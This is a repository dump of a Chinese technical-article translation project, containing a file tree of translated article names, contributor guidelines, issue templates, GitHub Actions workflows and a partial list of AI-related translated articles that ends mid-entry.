microsoft-makes-changes-to-windows-10-inbox-apps-with-latest-dev-channel-test-build.md │ │ ├── migrating-from-livedata-to-kotlins-flow.md │ │ ├── monads-for-javascript-developers.md │ │ ├── mongodb-vs-mysql-when-to-use.md │ │ ├── my-favorite-interservice-communication-patterns-for-microservices.md │ │ ├── native-splash-screen-in-flutter-using-lottie.md │ │ ├── new-css-features-2021.md │ │ ├── new-features-chrome-88.md │ │ ├── new-in-devtools-92.md │ │ ├── new-standards-to-access-user-device-hardware-using-javascript.md │ │ ├── new-suspense-ssr-architecture-in-react-18.md │ │ ├── next-gen-css-container.md │ │ ├── nginx-concepts-i-wish-i-knew-years-ago.md │ │ ├── node-js-vs-python-which-one-to-choose-for-your-project.md │ │ ├── nodejs-memory-limits-what-you-should-know.md │ │ ├── numpy-on-gpu-tpu.md │ │ ├── observer-design-pattern-in-javascript.md │ │ ├── passwordless-authentication-for-better-security.md │ │ ├── performance-best-practices-transactions-and-read--write-concerns.md │ │ ├── performance-differences-between-postgres-and-mysql.md │ │ ├── physics-simulations-using-vpython.md │ │ ├── pipe-operations-in-python.md │ │ ├── programmatically-generate-images-with-css-painting-api.md │ │ ├── python-features-that-you-will-miss-in-typescript.md │ │ ├── python-lists-and-tuples.md │ │ ├── quick-overview-of-http-requests-cross-origin-resource-sharing-cors.md │ │ ├── raspberry-pi’s-ninth-birthday-9-things-you-might-not-know.md │ │ ├── react-vs-vue-in-2021-best-javascript-framework.md │ │ ├── recyclerview-in-jetpack-compose.md │ │ ├── replace-null-with-es6-symbols.md │ │ ├── responsive-images-different-techniques-and-tactics.md │ │ ├── reverse-engineering-the-car-file-format.md │ │ ├── running-javascript-in-webassembly.md │ │ ├── rust-not-firefox-is-mozillas-greatest-industry-contribution.md │ │ ├── safari-has-become-the-second-internet-explorer.md │ │ ├── selector-nesting-has-come-to-css.md │ │ ├── self-supervised-learning-the-dark-matter-of-intelligence.md │ │ ├── send-http-requests-as-fast-as-possible-in-python.md │ │ ├── server-side-request-forgery-vulnerability.md │ │ ├── serverless-where-is-the-industry-going-in-2021.md │ │ ├── should-you-compile-your-javascript-code.md │ │ ├── should-you-really-be-coding-in-dark-mode.md │ │ ├── simplified-peer-to-peer-communication-with-peerjs.md │ │ ├── simulating-interplanetary-space-travel-in-python.md │ │ ├── snowpack-an-alternative-build-tool-to-webpack.md │ │ ├── so-whats-the-state-of-jquery-in-2021.md │ │ ├── solutions-architect-tips-the-5-types-of-architecture-diagrams.md │ │ ├── speed-of-rust-vs-c.md │ │ ├── speed-up-your-angular-projects-by-10x-with-gpu-js.md │ │ ├── sql-injection.md │ │ ├── staggered-animation-in-flutter.md │ │ ├── stanford-ai-report-2021.md │ │ ├── static-analysis-tools-for-android.md │ │ ├── stop-using-the-pixel-unit-in-css.md │ │ ├── svelte-for-the-experienced-react-dev.md │ │ ├── svelte-nodegui-native-desktop.md │ │ ├── swiftui-2021-the-good-the-bad-and-the-ugly.md │ │ ├── system-design-interview-all-or-none-ordered-peer-to-peer-broadcast.md │ │ ├── telegram-like-uploading-animation.md │ │ ├── that-time-when-you-thought-you-knew-y-a-ml.md │ │ ├── the-arrival-of-java-16.md │ │ ├── the-dark-side-of-javascript-a-look-at-3-features-you-never-want-to-use.md │ │ ├── the-different-types-of-browser-storage.md │ │ ├── the-future-of-the-web.md │ │ ├── the-javascript-landscape-in-2021.md │ │ ├── the-new-king-of-bundlers-is-here-all-bow-before-vitejs.md │ │ ├── the-road-to-kotlin-1-5.md │ │ ├── the-why-and-how-of-microservice-messaging-in-kubernetes.md │ │ ├── threats-of-using-regular-expressions-in-javascript.md │ │ ├── three-framework-problem-with-kotlin-multiplatform-mobile.md │ │ ├── time-for-next-gen-codecs-to-dethrone-jpeg.md │ │ ├── tools-for-auditing-css.md │ │ ├── top-3-css-grid-features-to-start-using-in-production.md │ │ ├── top-5-embedded-databases-for-javascript-applications.md │ │ ├── top-5-icon-packs-for-web-apps-in-2021.md │ │ ├── top-7-dart-tips-and-tricks-for-cleaner-flutter-apps.md │ │ ├── top-node-js-development-trends-in-2021.md │ │ ├── top-node-js-frameworks-to-use-in-2021.md │ │ ├── top-open-source-projects-for-sres-and-devops.md │ │ ├── transposed-convolution-demystified.md │ │ ├── trending-storage-options-for-react-native-developers.md │ │ ├── ultimate-guide-to-swiftui2-application-lifecycle.md │ │ ├── undefined-null-revisited.md │ │ ├── understanding-cross-site-request-forgery-csrf-or-xsrf.md │ │ ├── understanding-css-grid.md │ │ ├── understanding-rust-ownership-borrowing-lifetimes.md │ │ ├── untested-python-code-is-already-broken.md │ │ ├── using-bloc-pattern-with-react.md │ │ ├── using-github-code-scanning-and-codeql-to-detect-traces-of-solorigate-and-other-backdoors.md │ │ ├── using-immer-with-react-a-simple-solutions-for-immutable-states.md │ │ ├── using-interfaces-to-write-better-php-code.md │ │ ├── using-rust-to-scale-elixir-for-11-million-concurrent-users.md │ │ ├── using-spring-cloud-gateway-for-microservices-app.md │ │ ├── using-web-workers-to-speed-up-javascript-applications.md │ │ ├── v8-release-92.md │ │ ├── v8-sparkplug-compiler.md │ │ ├── variable-aspect-ratio-card-with-conic-gradients-meeting-along-the-diagonal.md │ │ ├── we-collected-500-000-browser-fingerprints-here-is-what-we-found.md │ │ ├── web-almanac-2020.md │ │ ├── web-share-for-modern-web-apps.md │ │ ├── webpacks-hot-module-replacement-feature-explained.md │ │ ├── what-is-http-3-and-why-does-it-matter.md │ │ ├── what-is-mobile-devops-and-why-should-you-care.md │ │ ├── whats-new-in-sqlite-3-35.md │ │ ├── whats-new-in-swift-5-4.md │ │ ├── when-compat-libraries-do-not-save-you.md │ │ ├── which-type-of-loop-is-fastest-in-javascript.md │ │ ├── why-discord-is-switching-from-go-to-rust.md │ │ ├── why-i-still-lisp-and-you-should-too.md │ │ ├── why-java-is-so-young-after-25-years-an-architects.md │ │ ├── why-react-hooks-are-the-wrong-abstraction.md │ │ ├── why-the-service-mesh-should-fade-out-of-sight.md │ │ ├── why-you-should-use-picture-tag-instead-of-img-tag.md │ │ ├── will-scss-be-replaced-by-css3.md │ │ └── working-toward-fairer-machine-learning.md │ ├── 2022/ │ │ ├── .gitkeep │ │ ├── 10-hardest-python-questions.md │ │ ├── 4-lesser-known-swift-features.md │ │ ├── 5-extremely-amusing-reasons-to-date-a-programmer.md │ │ ├── 6-jetpack-compose-guidelines-to-optimize-your-app-performance.md │ │ ├── Create-A-Real-Time-Medical-App-With-React-Native.md │ │ ├── Install-and-uninstall-WasmEdge.md │ │ ├── Stop-Building-Your-UI-Components-like-this.md │ │ ├── a-thorough-analysis-of-css-in-js.md │ │ ├── bad-microservices.md │ │ ├── best-practices-for-cookie-notifications.md │ │ ├── effects-of-too-much-lazy-loading-on-web-performance.md │ │ ├── everything-you-need-to-know-about-automation-testing.md │ │ ├── github-copilot-review-after-3-months-of-usage-with-examples.md │ │ ├── hash-map-analysis.md │ │ ├── how-slow-is-python.md │ │ ├── how-to-build-gui-with-python.md │ │ ├── how-to-package-and-deploy-cli-apps.md │ │ ├── how-to-write-cleaner-react-code.md │ │ ├── http3-is-fast.md │ │ ├── implement-memoization-in-react-to-improve-performance.md │ │ ├── implementing-bitcask-a-log-structured-hash-table.md │ │ ├── introduction-to-android-multi-touch.md │ │ ├── javascript-frontend-speed-is-the-next-big-thing.md │ │ ├── new-features-in-python-3-10-you-should-know.md │ │ ├── pyscript-unleash-the-power-of-python-in-your-browser.md │ │ ├── replacing-lerna-and-yarn-with-pnpm-workspaces.md │ │ ├── requirements-txt-vs-setup-py-in-python.md │ │ ├── retries.md │ │ ├── send-data-to-the-server-when-the-user-navigates-to-another-page-using-javascript.md │ │ ├── speed-up-your-python-code.md │ │ ├── the-complete-guide-to-concurrency-and-multithreading-in-ios.md │ │ ├── top-10-java-language-features.md │ │ ├── two-way-binding-will-make-your-react-code-better.md │ │ ├── use-streams-to-build-high-performing-nodejs-applications.md │ │ ├── using-redis-on-cloud-here-are-ten-things-you-should-know.md │ │ ├── verifying-distributed-systems-isabelle.md │ │ ├── webgpu-computations-performance-in-comparison-to-webgl.md │ │ ├── webrtc-vs-websockets.md │ │ ├── what-are-responsive-images-and-why-you-should-use-them.md │ │ ├── whats-new-in-es2022.md │ │ ├── why-does-console-log-return-undefined.md │ │ └── why-websockets-are-hard-to-scale.md │ ├── 2023/ │ │ ├── .gitkeep │ │ ├── 44-react-frontend-interview-questions.md │ │ ├── A-First-Look-at-GPT-4.md │ │ ├── A-step-by-step-guide-to-building-a-chatbot-based-on-your-own-documents-with-GPT.md │ │ ├── How-to-Use-ChatGPT-to-Improve-Your-Productivity-(5-Examples).md │ │ ├── achieve-nextjs-mastery-build-a-sales-page-with-stripe-and-airtable.md │ │ ├── building-an-amazon-bedrock-app-for-text-and-image-retrieval.md │ │ ├── from-lab-to-live-implementing-open-source-ai-models-for-real-time-unsupervised-anomaly-detection-in-images.md │ │ ├── on-the-unpredictable-nature-of-llm-output-and-type-safety-in-langchain-ts.md │ │ ├── unpopular-opinion-its-harder-than-ever-to-be-a-good-software-engineer.md │ │ └── why-naming-is-1-skill-for-writing-clean-code.md │ └── ECMA-TC39/ │ ├── Archival-of-TC39-materials.md │ ├── Becoming-a-TC39-delegate.md │ ├── Championing-a-proposal-at-TC39.md │ ├── How-to-become-a-TC39-Invited-Expert.md │ ├── How-to-experiment-with-a-proposal-before-Stage-4.md │ ├── How-to-give-helpful-feedback.md │ ├── How-to-host-a-TC39-meeting.md │ ├── How-to-make-a-Pull-Request-against-the-ECMAScript-specification.md │ ├── How-to-participate-in-meetings.md │ ├── How-to-run-an-online-meeting.md │ ├── How-to-take-notes.md │ ├── How-to-write-a-good-explainer.md │ ├── Implementing-and-shipping-TC39-proposals.md │ ├── Presenting-a-Proposal-to-TC39.md │ ├── README.md │ ├── Reading-a-proposal-draft.md │ ├── Revised-Patterns-for-Participation-in-Standards-Committees.md │ ├── Stage-3-Proposal-Reviews.md │ ├── TC39-and-IP.md │ ├── TC39-management.md │ └── terminology.md ├── backend.md ├── blockchain.md ├── design.md ├── front-end.md ├── glossary/ │ └── blockchain.md ├── integrals.md ├── ios.md ├── others.md └── product.md ================================================ FILE CONTENTS ================================================ ================================================ FILE: .github/CONTRIBUTING.md ================================================ # Contributing ## 参与翻译 - 请确保参与翻译之前已在相关文章的 Issue 发出过申请,避免重复性劳动。 - 如果你还不是我们的译者,请参考 [如何参与翻译](https://github.com/xitu/gold-miner/wiki/%E5%A6%82%E4%BD%95%E5%8F%82%E4%B8%8E%E7%BF%BB%E8%AF%91)。 ## 问题反馈 - 本项目只接受译文存在的相关问题反馈。任何需要针对原文的讨论请在英文原文处讨论。 - 针对译文的反馈,请 [提交一个 Issue](https://github.com/xitu/gold-miner/issues/new),指出问题对应的译文地址,并简明扼要的叙述问题所在。 ## Pull Requests - 译文请严格遵从 [译文排版规则指北](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E6%96%87%E6%8E%92%E7%89%88%E8%A7%84%E5%88%99%E6%8C%87%E5%8C%97) 中的要求。 - 每个 PR 只允许包含一篇文章的翻译版本。包含两篇或多篇的 PR 会立即被 close 掉。 - 翻译文章前,请从主分支的最新状态上新建一个译文分支,保证每个分支只翻译一篇文章。我们推荐的新分支名格式为:`translation/文件名`。 - 在翻译过程中,请直接编辑源文件,并不需要包含英文原文内容。 - 在翻译过程中,请尽可能保证在原行上进行修改,以保证行与行之间的原始对应关系。 - 在翻译完成后,请在中文环境下完整地阅读一遍译文,保证语句符合中文表达习惯。 - 在翻译完成后,请在 GitHub 网页版检查一下译文,确保不出现 Markdown 语法错误和排版错误。 ================================================ FILE: .github/ISSUE_TEMPLATE/recommendation.md ================================================ --- name: 推荐优秀英文文章 about: 推荐值得翻译且暂未被翻译的优质英文文章 title: '推荐前端/后端/AI/Android/iOS/产品/设计/Flutter/Kotlin/其他/资讯优秀英文文章' labels: - 文章推荐 assignees: '' --- - 原文链接:推荐文章前 Google 一下,尽量保证本文未被翻译 - 简要介绍:介绍一下好不好啦,毕竟小编也看不太懂哎_(:з」∠)_ - 翻译计划处理能力有限,请勿一次性提交超过 3 篇文章的推荐哦 - 由于 markdown 的局限性以及掘金和 GitHub 的排版限制,不建议推荐包含特别多富文本或者代码沙盒的文章哈 --- ### 请完成并勾选一下三项: * [ ] 按文章分类填写 Issue 标题:推荐前端/后端/AI/Android/iOS/产品/设计/Flutter/Kotlin/其他/资讯优秀英文文章 * [ ] 本文很值得翻译,我推荐 * [ ] 已经过初步搜索,暂未发现中文版译文 > 首先通过 [Google](https://google.com) / [Bing](https://bing.com) / Baidu 等搜索关键词组合:**原文 翻译 英文文章标题** 确认没有中文译文。例如搜索:原文 翻译 Garbage Collection In Go : Part I - Semantics ================================================ FILE: .github/ISSUE_TEMPLATE/sign_up.md ================================================ --- name: 申请成为译者 about: 写一份译者申请表,向大家介绍一下你吧~ title: '申请成为译者' labels: - 申请译者 assignees: '' --- - 公司/学校: - 工作内容/专业: - 常浏览的国外网站: - 英语水平: - 翻译经验: - 主要翻译方向: - 个人博客: - 个人介绍: ================================================ FILE: .github/PULL_REQUEST_TEMPLATE.md ================================================ 译文翻译完成,resolve #id ================================================ FILE: .github/workflows/generate-catalog.yml ================================================ name: 生成文章目录 on: push: paths: - 'integrals.md' workflow_dispatch: jobs: generate: if: github.repository == 'xitu/gold-miner' runs-on: ubuntu-latest strategy: fail-fast: false max-parallel: 1 matrix: include: - label: '前端' target: 'front-end.md' - label: '后端' target: 'backend.md' - label: 'AI' target: 'AI.md' - label: '设计' target: 'design.md' - label: 'Android' target: 'android.md' - label: '算法' target: 'algorithm.md' - label: 'iOS' target: 'ios.md' - label: '其他' target: 'others.md' - label: '产品' target: 'product.md' steps: - name: Set up Python uses: actions/setup-python@v2 with: python-version: '3.x' - run: | python -m pip install lxml requests markdown - uses: actions/checkout@master with: repository: xitu/juejin-integral-database path: ./juejin-integral-database - uses: actions/checkout@master with: path: ./gold-miner token: ${{ secrets.LSVIH_PAT }} - name: Generate Catalog env: TOKEN: ${{ secrets.GITHUB_TOKEN }} LABEL: ${{ matrix.label }} TARGET: ${{ matrix.target }} run: | cd juejin-integral-database echo -n "$TOKEN" > secret python script_generate_catalog.py --label "$LABEL" --target "$TARGET" mv new_$TARGET ../gold-miner/$TARGET - name: Commit Catalog uses: EndBug/add-and-commit@v7 with: message: '更新${{ matrix.label }}文章目录' author_name: 'lsvih' author_email: 'lsvih@qq.com' add: '*.md' cwd: './gold-miner/' push: true reindex: if: github.repository == 'xitu/gold-miner' needs: generate runs-on: ubuntu-latest steps: - name: Set up Python uses: actions/setup-python@v2 with: python-version: '3.x' - uses: actions/checkout@master with: repository: xitu/juejin-integral-database path: ./juejin-integral-database - uses: actions/checkout@master with: path: ./gold-miner token: ${{ secrets.LSVIH_PAT }} - name: Reindex catalogues run: | cd juejin-integral-database python reindex.py - name: Commit Catalog uses: EndBug/add-and-commit@v7 with: message: '更新最新文章索引' author_name: 'lsvih' author_email: 'lsvih@qq.com' add: 'README.md' cwd: './gold-miner/' push: true ================================================ FILE: .github/workflows/stale.yml ================================================ name: Mark stale issues on: schedule: - cron: '0 6,18 * * *' permissions: issues: write jobs: stale: runs-on: ubuntu-latest steps: - uses: actions/stale@v3 with: repo-token: ${{ secrets.GITHUB_TOKEN }} days-before-issue-stale: 7 stale-issue-label: "stale" stale-issue-message: "Inactive Issue" skip-stale-issue-message: true days-before-issue-close: 0 close-issue-message: 'This issue was closed because it has been open 7 days with no activity.' only-issue-labels: '文章推荐' exempt-issue-labels: '标注' days-before-pr-stale: -1 days-before-pr-close: -1 ================================================ FILE: .github/workflows/translator-application.yaml ================================================ name: "Translator Application" on: issues: types: [opened] jobs: translatorApplicationProcessor: name: Translator Application Processor if: ${{ contains(github.event.issue.title, '申请成为译者') }} runs-on: ubuntu-latest steps: - name: Close Issue uses: peter-evans/close-issue@v1 with: token: "${{ secrets.GITHUB_TOKEN }}" comment: | Hi, @${{ github.event.issue.user.login }}, 感谢你申请加入掘金翻译计划,你需要做以下的事: 1. 认真学习 [掘金翻译计划译者教程](https://github.com/xitu/gold-miner/wiki),校对和翻译文章时,严格遵循教程,杜绝不看教程,只知道问的伸手党; 2. 确认认真学习了 [译文排版规则指北](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E6%96%87%E6%8E%92%E7%89%88%E8%A7%84%E5%88%99%E6%8C%87%E5%8C%97),翻译文章时严格遵循,校对文章时也要指出译者的格式错误; 3. 确认认真学习了 [翻译和校对文章的注意事项](https://github.com/xitu/gold-miner/wiki/%E5%8D%81%E4%B8%87%E4%B8%AA%E4%B8%BA%E4%BB%80%E4%B9%88),避免翻译校对过程中出错; 4. 加管理员微信 `chnyifan`,**验证信息格式**:翻译计划 + GitHub ID + 申请的 Issue Number; 5. 进群后修改群昵称为 GitHub ID。 **注意**:加完微信后,管理员会在当天拉你进译者群,进群之后做下简单的自我介绍。加入微信群则代表申请译者成功,接下来你需要看译者教程,然后先校对至少一篇文章才能开始正式翻译文章。当然也可以继续校对文章。 ================================================ FILE: .gitignore ================================================ .DS_Store .AppleDouble .LSOverride .idea .vscode ================================================ FILE: AI.md ================================================ * [机器学习系统设计相关面试问题的剖析](https://juejin.cn/post/7109306303285051406)([caiyundong](https://github.com/caiyundong) 翻译) * [如何使用 Python 管道 Pipe 高效编码](https://juejin.cn/post/7051051681357758494)([zenblofe](https://github.com/zenblofe) 翻译) * [使用人工智能/机器学习构建文章推荐引擎](https://juejin.cn/post/7001479252163952670)([jaredliw](https://github.com/jaredliw) 翻译) * [AI 是否已经成为内容营销的重要组成部分?](https://juejin.cn/post/6964280632801394724)([5Reasons](https://github.com/5Reasons) 翻译) * [Google 的 Apollo 芯片设计人工智能框架将深度学习芯片的性能提高了 25%](https://juejin.cn/post/6952819856429285407)([PingHGao](https://github.com/PingHGao) 翻译) * [解密转置卷积](https://juejin.cn/post/6954678998123151390)([PingHGao](https://github.com/PingHGao) 翻译) * [人工智能系统 Project Debater 即将提供 12 个新的云 API](https://juejin.cn/post/6955657126647857159)([Kimhooo](https://github.com/Kimhooo) 翻译) * [谷歌 DeepMind 发布 NFNet:高效的深度网络](https://juejin.cn/post/6947586233522454558)([chzh9311](https://github.com/chzh9311) 翻译) * [斯坦福发布 2021 年人工智能指数报告](https://juejin.cn/post/6942769081363726373)([PingHGao](https://github.com/PingHGao) 翻译) * [让机器学习更加公正](https://juejin.cn/post/6941964171974017031)([PingHGao](https://github.com/PingHGao) 翻译) * [使用 Node.js 实现蒙特卡洛树搜索](https://juejin.cn/post/6944240279784423461)([zenblo](https://github.com/zenblo) 翻译) * [恋爱 5 年的消息看起来是什么样](https://juejin.cn/post/6944711045449515038)([Amberlin1970](https://github.com/Amberlin1970) 翻译) * [使用 Android 11 进行机器学习:新功能](https://juejin.cn/post/6933208209259757581)([PassionPenguin](https://github.com/PassionPenguin) 翻译) * [数据科学中的 9 种距离度量](https://juejin.cn/post/6935265008045686815)([chzh9311](https://github.com/chzh9311) 翻译) * [如何利用隐语义模型在图数据库中构建推荐系统](https://juejin.cn/post/6925019556108828685)([stuchilde](https://github.com/stuchilde) 翻译) * [为什么我的数据会漂移?](https://juejin.cn/post/6923824334188314638)([chzh9311](https://github.com/chzh9311) 翻译) * [DeepSpeed:所有人都能用的超大规模模型训练工具](https://juejin.cn/post/6916500899577724942)([zhuzilin](https://github.com/zhuzilin) 翻译) * [寻找最优化 AutoML 库](https://juejin.cn/post/6906859687682965517)([zhusimaji](https://github.com/zhusimaji) 翻译) * [在浏览器中处理自然语言](https://juejin.cn/post/6899707995828174861)([regon-cao](https://github.com/regon-cao) 翻译) * [重现:多样化 Mini-Batch 主动学习](https://juejin.cn/post/6890560237091340302)([z0gSh1u](https://github.com/z0gSh1u) 翻译) * [知识的极限](https://juejin.im/post/6874475968325484552)([QinRoc](https://github.com/QinRoc) 翻译) * [让神经网络变得更小巧以方便部署](https://juejin.im/post/6873068232505458701)([PingHGao](https://github.com/PingHGao) 翻译) * [使用合成数据改善机器学习中的极度不平衡数据集](https://juejin.im/post/6872609287802388488)([PingHGao](https://github.com/PingHGao) 翻译) * [使用 Chrome 的 Shape Detection API 检测人脸,文本甚至条形码](https://juejin.im/post/6864391729693491207)([rocwong-cn](https://github.com/rocwong-cn) 翻译) * [机器学习中的主动学习](https://juejin.im/post/5eaa71435188256d6c594746)([PingHGao](https://github.com/PingHGao) 翻译) * [目标检测评价标准](https://juejin.im/post/5eaa67f55188256d9c259bd0)([PingHGao](https://github.com/PingHGao) 翻译) * [一份数据科学 A/B 测试的简单指南](https://juejin.im/post/5e61b88cf265da57602c5b95)([Amberlin1970](https://github.com/Amberlin1970) 翻译) * [图像修复:人类和 AI 的对决](https://juejin.im/post/5e43b2edf265da576543a0bb)([Starry316](https://github.com/Starry316) 翻译) * [使用 Python 进行边缘检测](https://juejin.im/post/5e3d4b53e51d4526c26fadd4)([lsvih](https://github.com/lsvih) 翻译) * [如何用 Keras 从头搭建一维生成对抗网络](https://juejin.im/post/5dcf5aba6fb9a0203161f376)([TokenJan](https://github.com/TokenJan) 翻译) * [数学编程  ——  一个为推进数据科学发展而培养的关键习惯](https://zhuanlan.zhihu.com/p/100212596)([Weirdochr](https://github.com/Weirdochr) 翻译) * [如何使用 Keras 训练目标检测模型](https://juejin.im/post/5d4bb1db6fb9a06add4e18b6)([EmilyQiRabbit](https://github.com/EmilyQiRabbit) 翻译) * [XGBoost 算法万岁!](https://juejin.im/post/5d484040e51d4561f95ee9de)([lsvih](https://github.com/lsvih) 翻译) * [由浅入深理解主成分分析](https://juejin.im/post/5d41321df265da03c926d65a)([Ultrasteve](https://github.com/Ultrasteve) 翻译) * [人工智能何以留存](https://juejin.im/post/5d4c1155e51d4562061159d1)([YueYongDev](https://github.com/YueYongDev) 翻译) * [什么时候需要进行数据的标准化? 为什么?](https://juejin.im/post/5d41a46bf265da03d727f85d)([Ultrasteve](https://github.com/Ultrasteve) 翻译) * [数据科学家需要掌握的十种统计技术](https://juejin.im/post/5d42340d6fb9a06ae61a95f5)([HearFishle](https://github.com/HearFishle) 翻译) * [从著名数据数据可视化中我们可以学到什么](https://juejin.im/user/567e246a34f81a1d879e7a14)([aceleewinnie](https://github.com/AceLeeWinnie) 翻译) * [时间序列数据间量化同步的四种方法](https://juejin.im/post/5d213c126fb9a07f091bc3f5)([EmilyQiRabbit](https://github.com/EmilyQiRabbit) 翻译) * [在 Python 中过度使用列表解析器和生成表达式](https://juejin.im/post/5d281b0ff265da1b8b2b8ae0)([ccJia](https://github.com/ccJia) 翻译) * [使用 What-If 工具来研究机器学习模型](https://juejin.im/post/5d143abff265da1bb80c4005)([Starriers](https://github.com/Starriers) 翻译) * [如何在 Keras 中用 YOLOv3 进行对象检测](https://juejin.im/post/5d12eef5e51d455a68490ba8)([Daltan](https://github.com/Daltan) 翻译) * [在机器学习中为什么要进行 One-Hot 编码?](https://juejin.im/post/5d15840e5188255c23553204)([lsvih](https://github.com/lsvih) 翻译) * [在 Keras 下使用自编码器分类极端稀有事件](https://juejin.im/post/5cff17296fb9a07ec63b0a7f)([ccJia](https://github.com/ccJia) 翻译) * [使用谷歌 FACETS 可视化机器学习数据集](https://juejin.im/post/5d0226986fb9a07ecb0ba33a)([QiaoN](https://github.com/QiaoN) 翻译) * [浅析深度学习神经网络的卷积层](https://juejin.im/post/5ceeef01518825351e354747)([QiaoN](https://github.com/QiaoN) 翻译) * [时间序列分析、可视化、和使用 LSTM 预测](https://juejin.im/post/5cecdbb75188252db706f4e9)([Minghao23](https://github.com/Minghao23) 翻译) * [用 Word2vec 表示音乐?](https://juejin.im/post/5cdcdd9ee51d456e8240ddc3)([Minghao23](https://github.com/Minghao23) 翻译) * [使用 Python Flask 框架发布机器学习 API](https://juejin.im/post/5cd7f862e51d453aa44ad6f3)([sisibeloved](https://github.com/sisibeloved) 翻译) * [使用 WFST 进行语音识别](https://juejin.im/post/5cd7f7c56fb9a03218556ea4)([sisibeloved](https://github.com/sisibeloved) 翻译) * [Keras 速查表:使用 Python 构建神经网络](https://juejin.im/post/5cd40d24f265da038412a8be)([Minghao23](https://github.com/Minghao23) 翻译) * [在数据可视化中,我们曾经“画”下的那些错误](https://juejin.im/post/5cd39e1de51d453a3a0acb7b)([ccJia](https://github.com/ccJia) 翻译) * [机器学习可以建模简单的数学函数吗?](https://juejin.im/post/5ccd6d30e51d453ae03507da)([Minghao23](https://github.com/Minghao23) 翻译) * [Python 架构相关:我们需要更多吗?](https://juejin.im/post/5cd1db8c51882535b323a3c7)([QiaoN](https://github.com/QiaoN) 翻译) * [深度学习能力的三个等级](https://juejin.im/post/5cce97ec6fb9a031fe3bd85d)([HearFishle](https://github.com/HearFishle) 翻译) * [在深度学习训练过程中如何设置数据增强?](https://juejin.im/post/5cc87ec8f265da03b446202b)([ccJia](https://github.com/ccJia) 翻译) * [使用 PyTorch 在 MNIST 数据集上进行逻辑回归](https://juejin.im/post/5cc66d946fb9a032286173a7)([lsvih](https://github.com/lsvih) 翻译) * [归一化和标准化 — 量化分析](https://juejin.im/post/5cc5c0a06fb9a0321b69740a)([ccJia](https://github.com/ccJia) 翻译) * [如何在远程服务器上运行 Jupyter Notebooks](https://juejin.im/post/5cb5e0a9f265da036c577f24)([Daltan](https://github.com/Daltan) 翻译) * [哪一个深度学习框架增长最迅猛?TensorFlow 还是 PyTorch?](https://juejin.im/post/5caefef45188251b070f7d70)([ccJia](https://github.com/ccJia) 翻译) * [如何在 Keras 中使用 LSTM 神经网络创作音乐](https://juejin.im/post/5c9c19d7e51d453e7d28a173)([HearFishle](https://github.com/HearFishle) 翻译) * [Chars2vec: 基于字符实现的可用于处理现实世界中包含拼写错误和俚语的语言模型](https://juejin.im/post/5c96fd46e51d4513e072c3ae)([kasheemlew](https://github.com/kasheemlew) 翻译) * [基于 Python 的图理论和网络分析](https://juejin.im/post/5c9066b3f265da612e6d5770)([EmilyQiRabbit](https://github.com/EmilyQiRabbit) 翻译) * [时间顺序的价格异常检测](https://juejin.im/post/5c998f8ae51d454e523b6ed5)([kasheemlew](https://github.com/kasheemlew) 翻译) * [用长短期记忆网络预测股票市场(使用 Tensorflow)](https://juejin.im/post/5c8114de51882540a830b910)([Qiuk17](https://github.com/Qiuk17) 翻译) * [2019 跟上 AI 的脚步:AI 和 ML 接下来会发生什么重要的事?](https://juejin.im/post/5c83c8ba5188250aa57a0e2f)([TUARAN](https://github.com/TUARAN) 翻译) * [数据科学领域十大必知机器学习算法](https://juejin.im/post/5c73bbfff265da2da771d42a)([JohnJiangLA](https://github.com/JohnJiangLA) 翻译) * [如何用 Python 从零开始构建你自己的神经网络](https://juejin.im/post/5c7a478c518825787e6a0f67)([JackEggie](https://github.com/JackEggie) 翻译) * [提取图像中的文字、人脸或者条形码 — 形状检测 API](https://juejin.im/post/5c64026fe51d457f963d249c)([jerryOnlyZRJ](https://github.com/jerryOnlyZRJ) 翻译) * [Python 的时间序列分析:简介](https://juejin.im/post/5c6c12def265da2ddc3c70ce)([ppp-man](https://github.com/ppp-man) 翻译) * [从 Instagram 上的故事和反馈机器学习中收获的一些经验](https://juejin.im/post/5c683dfce51d45164c7599fb)([TrWestdoor](https://github.com/TrWestdoor) 翻译) * [利用 Python中的 Bokeh 实现数据可视化,第一部分:入门](https://juejin.im/post/5c3c83c7f265da612d197bf0)([Starriers](https://github.com/Starriers) 翻译) * [利用 Python中的 Bokeh 实现数据可视化,第二部分:交互](https://juejin.im/post/5c34a9dee51d4551d044efce)([Starriers](https://github.com/Starriers) 翻译) * [利用 Python中的 Bokeh 实现数据可视化,第三部分:制作一个完整的仪表盘](https://juejin.im/post/5c3ae4656fb9a049d9757021)([YueYongDev](https://github.com/YueYongDev) 翻译) * [降维技术中常用的几种降维方法](https://juejin.im/post/5c4513a06fb9a049dc028d0c)([haiyang-tju](https://github.com/haiyang-tju) 翻译) * [如何使用 Dask Dataframes 在 Python 中运行并行数据分析](https://juejin.im/post/5c1feeaf5188257f9242b65c)([Starriers](https://github.com/Starriers) 翻译) * [时间序列异常检测算法](https://juejin.im/post/5c19f4cb518825678a7bad4c)([haiyang-tju](https://github.com/haiyang-tju) 翻译) * [支持向量机(SVM) 教程](http://5a77c24cf265da4e747f92e8/)([zhmhhu](https://github.com/zhmhhu) 翻译) * [通过集成学习提高机器学习效果](https://juejin.im/post/5c0909d951882548e93806e0)([Starriers](https://github.com/Starriers) 翻译) * [Google Colab 免费 GPU 使用教程](https://juejin.im/post/5c05e1bc518825689f1b4948)([haiyang-tju](https://github.com/haiyang-tju) 翻译) * [鲜为人知的数据科学 Python 库](https://juejin.im/post/5c075e09518825159512715f)([haiyang-tju](https://github.com/haiyang-tju) 翻译) * [强化学习中的好奇心与拖延症](https://juejin.im/post/5bff316651882548e937ef20)([haiyang-tju](https://github.com/haiyang-tju) 翻译) * [使用递归神经网络(LSTMs)对时序数据进行预测](https://juejin.im/post/5bf8a70cf265da61776ba1dc)([haiyang-tju](https://github.com/haiyang-tju) 翻译) * [深度学习将会给我们所有人的生活一个教训:工作是为了机器准备的](https://juejin.im/post/5bd71fd6f265da0aa94a5bce)([yuwhuawang](https://github.com/yuwhuawang) 翻译) * [初创公司的数据科学:简介](https://juejin.im/post/5bd55b76f265da0ae472ce1b)([tmpbook](https://github.com/tmpbook) 翻译) * [在 Keras 中使用一维卷积神经网络处理时间序列数据](https://juejin.im/post/5beb7432f265da61524cf27c)([haiyang-tju](https://github.com/haiyang-tju) 翻译) * [使用 Python 的 Pandas 和 Seaborn 框架从 Kaggle 数据集中提取信息](https://juejin.im/post/5be8caf651882551cc25acf5)([haiyang-tju](https://github.com/haiyang-tju) 翻译) * [使用 Pandas 对 Kaggle 